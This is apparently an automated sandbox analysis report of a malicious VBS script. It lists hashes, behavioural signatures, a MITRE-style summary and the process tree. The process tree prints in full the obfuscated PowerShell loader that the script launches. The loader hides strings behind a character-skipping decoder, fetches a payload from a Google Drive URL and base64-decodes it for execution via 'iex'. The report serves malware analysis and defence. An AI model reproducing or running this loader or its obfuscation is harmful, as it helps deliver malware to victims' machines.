Analysis
-
max time kernel
150s -
max time network
128s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
05/11/2024, 03:57
Static task
static1
Behavioral task
behavioral1
Sample
92dbf37835455cd68d10e5cf6f750ec2d72de8ec7b8d92ffb751f7ceb8653523.vbs
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
92dbf37835455cd68d10e5cf6f750ec2d72de8ec7b8d92ffb751f7ceb8653523.vbs
Resource
win10v2004-20241007-en
General
-
Target
92dbf37835455cd68d10e5cf6f750ec2d72de8ec7b8d92ffb751f7ceb8653523.vbs
-
Size
15KB
-
MD5
55c8ee8061b9a47f8f6e66b3e8af9f6a
-
SHA1
a8d0c9f6bea7fc5c13dfe86c5beca52457dd6a3c
-
SHA256
92dbf37835455cd68d10e5cf6f750ec2d72de8ec7b8d92ffb751f7ceb8653523
-
SHA512
84cb1f3b8063dedff0ffcce545eb96a0411341e924d22088a1a63ad6c2c45a8980718b881f8fb323cd2c7a01618daed6da610a018c4ac2e45640e7b15b69cb90
-
SSDEEP
384:qbURUoc1vcM7vqGgTUIk0AZl5UYQdRmFhqm5pd:0KJ0GV7U5crm7qYpd
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 2728 WScript.exe -
pid Process 2736 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2736 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2736 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2728 wrote to memory of 2736 2728 WScript.exe 30 PID 2728 wrote to memory of 2736 2728 WScript.exe 30 PID 2728 wrote to memory of 2736 2728 WScript.exe 30
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\92dbf37835455cd68d10e5cf6f750ec2d72de8ec7b8d92ffb751f7ceb8653523.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Jone Semicurvilinear Plimraadden Storywriter #>;$Udlndinge='Ancien';<#Sndag Snydertampens Formulation Forkamres Unrivet Fuldbyrdet #>; function Immenser($Accoucheurers135){If ($host.DebuggerEnabled) {$granerne++;}$kegful=$Systemgruppers+$Accoucheurers135.'Length' - $granerne; for ( $Tyveaarsdagene=4;$Tyveaarsdagene -lt $kegful;$Tyveaarsdagene+=5){$Tostrenget=$Tyveaarsdagene;$Trehager+=$Accoucheurers135[$Tyveaarsdagene];}$Trehager;}function Aegicrania($Skjulesteds){ . ($Indkomstpligtiges) ($Skjulesteds);}$Spiritualty247=Immenser 'OutpM Raso raszMariiIndel,opslDikoaAlbe/Ma i ';$diaschisma=Immenser 'FortT I llEnedsCons1.nre2 rud ';$Unisexuality=' Cog[eyeoNFy.dEMedvTalve.ReflS ileeSingRDesiV eroiChokcKjesEbo lp,dstOAkkoIS aanglobTIn smBuruaSejpnFaitAZip GStheEsandr Wes]Unde:Anky:RadeSKollEIncacSrgeUBegyrSya iUdluTSandYHaknP W eRWiltOCro TDoctoRetsCAnimOR.stlCliv= Wed$kn bdUnbrIDagvATheos uksCDefiHTuskipraeS S,im GraA eng ';$Spiritualty247+=Immenser ' Le 5Pala. Cul0Sp,c Anop(RetrWEriniDue nBu ud AfdoRehaw KatsPers LkkeN ColTElek Demu1 Dor0Fors.Ribb0Havm;.eac OrnaWSlidiAbbrnKloi6 rea4Skye;Thre Progx Hyd6 Imp4Retn;Bigg asr un vVolk:Shel1V,so3nonb1Rnke.Stet0Fo,e)Diab CoulGOmfae OkocSkulkankeoCro./Kapi2Konk0Fem 1Udra0B gh0 C e1 T.l0Immu1B li VoicFWandiAgrersplae,urufTopeoA.tox Ci,/ oh1Plat3 Lik1 T l.Ty,a0Nor ';$Micropaleontologist=Immenser 'AlfoUIndlsNatuESoluRO ga-EfteASfaeGCos EO eaN,shaTmisp ';$pharyngology=Immenser 'Te ehLegatS amtTeaspWhissArch:Lakr/klar/Ad.ldLeverU.foiDri,vVg keSpid. turgFreao looDebigPhthl DipeKany.DraccHosto igmFjor/SaleuGe.fcHovn? ConeWassx ,etpWarroDe,drPrett eo=Heatdmne,ooff wD ganDentltrieo EclaAnchdPlat&BaluiIchtdPors=akad1 M ntBr lI renvDia rHarpdOxyhXRecuTSe oV C pB.ids8OppoiOnyc-SkabCBenokKerna Sacy MadZBioskLag OBog,RRep,LWhig4Uds BParaXFingdBe kF RepVPseueLol hCan 6 FilEKubiOSpar ';$Afstikkerens=Immenser 'Bygg>Pold ';$Indkomstpligtiges=Immenser 'H,loiJonbEBogsx kat ';$Rollings='Forbryderes';$Fornjelsesrejse='\Avlshingstes2.Xyl';Aegicrania (Immenser 'Asga$ CipgFngsl.pvuOMy tb llAOutml Ska:IvitNFu.dareveGValagFaciiLgesN unoGAn slsikkyC ns=Derm$R.prECoveN Apiv.ord:wittA pedpa uaPtar.d psAVaerTKe,eAS un+Sce.$LacefLipoO esiR Mi n,ataJchapEafl.L Br smineeSlikS KlirAdreeAnatjTablsT,roe A.e ');Aegicrania (Immenser ',amf$Co,kG SubL Foro herBOpiuANrmeLRege: litFBedeON nar DemURingD VogRFruge SfafL,nde nkRAfbreDatiNSudacAne.eTraasOdge2K,ns3Fl r5Fab = nor$ CenPUovehHexaATe,rRSurnyRo tn BetgRe no ralReliobackG,ubly In,. Neds,terpPlatL LusIHottTHigh(Rach$ M raVirkfPin s St TComeIDikokKan KMythEslanrSgereImmoN ortsedei)Intr ');Aegicrania (Immenser $Unisexuality);$pharyngology=$Forudreferences235[0];$Aphanozygous=(Immenser ' Adi$UnevGR.velFortO ,hib BorADeliL Edw: GenCLeksyCa dcSminLSan o NedN VasITresCAile=MadsNPseuETuguwG,ne-e vro.errB klujLacteTop CPol,T Bio SkrasTerrYRoqusforetMoo eSultMSeru.ThyrNAirmESpyfTMe t. PseW PopESmmeBSemiCMntrlAcheIfo tE Ma n jerTEksk ');Aegicrania ($Aphanozygous);Aegicrania (Immenser 'Axio$ForeCEncyy Ov.cOpl.luncaosedunIndtiBea.cWean.PodoH .bleBla a Sprd LeveSu er Kl sHete[Ethn$ Dy MCidaiFo kcflder SkvoEa epGe eaGi,al ame SysoKrftn BehtSkrpoYve,lHandoHypegSortiCalisTravtHof ]Sus =Ulde$stemSBejepU stiDallrAngiiPro tInteuFor aColll ettMandy Me.2busl4Thic7Noti ');$Nondeflationary=Immenser ' Epo$VariCPtilySparc l dlLeddoMoton UdliDramcCull.FarlD T ao En,w AcenN sol veroM noaDag,d BesFEmboiSultlBereeOrd,(Kjes$Und.p SprhSulta bjer eiychoknWe ngU.foost rl DewoUdsugWooly.ove,Dyre$ CymRCly.eWessg G naH lltexemtDiskaPaddeHousrEn.esUnde)Dagb ';$Regattaers=$naggingly;Aegicrania (Immenser 'Tra $Xen GGrafl UlvOT anb penaAi wLSino:HattM alaAA,toZErotURhinRThlaK .weAakts= O e(smaktha vEUnd sRearT.ure-FlotpSeriALu.stTankhC vi Toki$UglerbarbEGascg quia Ca,tFrolTSynsaSkafe BalRTranSSpri)Kv l ');while (!$mazurka) {Aegicrania (Immenser ' po$non gPhotlAltao CatbNonsaJil,lTung: BitBTubauLntirJanilVeroeTi stHigh=Outw$ Dimt .unrMariufasteYd.r ') ;Aegicrania $Nondeflationary;Aegicrania (Immenser 'TjrnSParatPan aAestrT.nstTele-B,nkSPy.eL Bl eBry EPiloPCon Fu v4Gip ');Aegicrania (Immenser 'P,an$Os egUrk.l ecaOT adBAr haVirkLJagt:Gi bmpaanABarnzMariuTermRAlonkAgamA Car=C os(EjerTYamseD lmsunnoTSub.-u.baPBrd AStu,TBogoHidrt tyk$LgterOutne NonG MegADisstRaditIndkA HaaE .apRNoncs Cam)Blok ') ;Aegicrania (Immenser 'U vu$ EksgCrepLJussOBetaB t eaBehaLHy l: losSRotukafplrFor u enceBudctYverSFrar=Poss$ ChuGAlarLBanaOUtilBDataAPa.tLCajs:Bi laCompN SigtOverIJ coPBlokY MatostyrNL veITraiNLich+hums+Tier%Pyro$MatsFVagaOU.dnRSin u HalDMalarDo sEHiblFOvere.isfRCha,eSta NKosoC Kr.eTrirs .ve2Prop3 Fll5Runr. Cucc SwaoMerruDoglNNaziTKorr ') ;$pharyngology=$Forudreferences235[$skruets];}$Fortidige=289428;$Tacamahac=30629;Aegicrania (Immenser 'Rusl$Tee,GInd LOmstOPhosbMeleA pdL.ele:Antit pipRPro YSifaKomskKPh nE TartGuldECoy k A rNNit,i PrekBenzSSkil Burl=Su e Ru,GOverEButtT Phy-MyolC T koStavnBr,mtSupeEAsepnbrndTLelw Pneo$InsiRFasee Argg,nkoa Ov,T.isatBagtaNonceraasRHedgsNeg, ');Aegicrania (Immenser ' N,n$ EftgNonll banoKultb ,fsa achlPena:St aIFrees Rego .edcParar Ke ySan mV rieOver Russ= mo Roth[TaclS,ndbyAigls ydrt.alue DenmMy,o.ret CC gaoUnc,nVomivBhlae,bbrrstr tK,al] Aet:Kred:ForsFTilfr Subo icmW ldB Unda,ulpsBru.eSk.r6,rys4SensSSimrtWarsrMenniFedtnT pngLa.i(Gods$Syn.TM,strHumayMicokLi,nkRegne.owat Rege petkDrifnMythi,inakOutcs Co.)Imit ');Aegicrania (Immenser ' fem$Opdrg ,anl OakoRielbMotoAUd.olServ: b pRanb E RodCSediIS rirBrinKAfsku hytlBumkEBusaRRestiA tiNMargg DucESlb,rSquaNEboneLuttsr ce K n= Dr Hor[UnarS kanYDel s lertCor E DevmS,if.Torgt NoneKarixSa ktU,de. SoreMis,nClocc ekoPiped OboIDro nKittGCur ],kva:Subs: OpsATrflSDerecMateiTridIFo s.DigegFrdsE E hTg ngS M ntDeltraccoimuhaN.ectgUdkl( Gen$SymbISyres ilkOVel,CCyt RLy tYMo rMVolaeE cl)N ur ');Aegicrania (Immenser 'Hj,e$AverGS inl Ha.OForfBProda DisLOvid: UpsjU,ocu MasMFlorb OrnUAt acsaboK ela=Bere$Od.rRDukkE pheCeksaiSamlrHadbkSkufuNedrl .aueSilkRNonmiM hanPrecgUnwwe KulrVrdiNStukE ReaSS.pe.StamsBa nuuncabRelesSmittEndorSt kiBenzNMesoGSt r(Dis $TystfAdr oAncyR CerTTy,nIVeleDUnboiSaragMedaeBene,Hie $ NavTCe ea R pc hibAB,limMedlaRigshTo aABrudCK.lb) el ');Aegicrania $Jumbuck;"2⤵
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2736
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b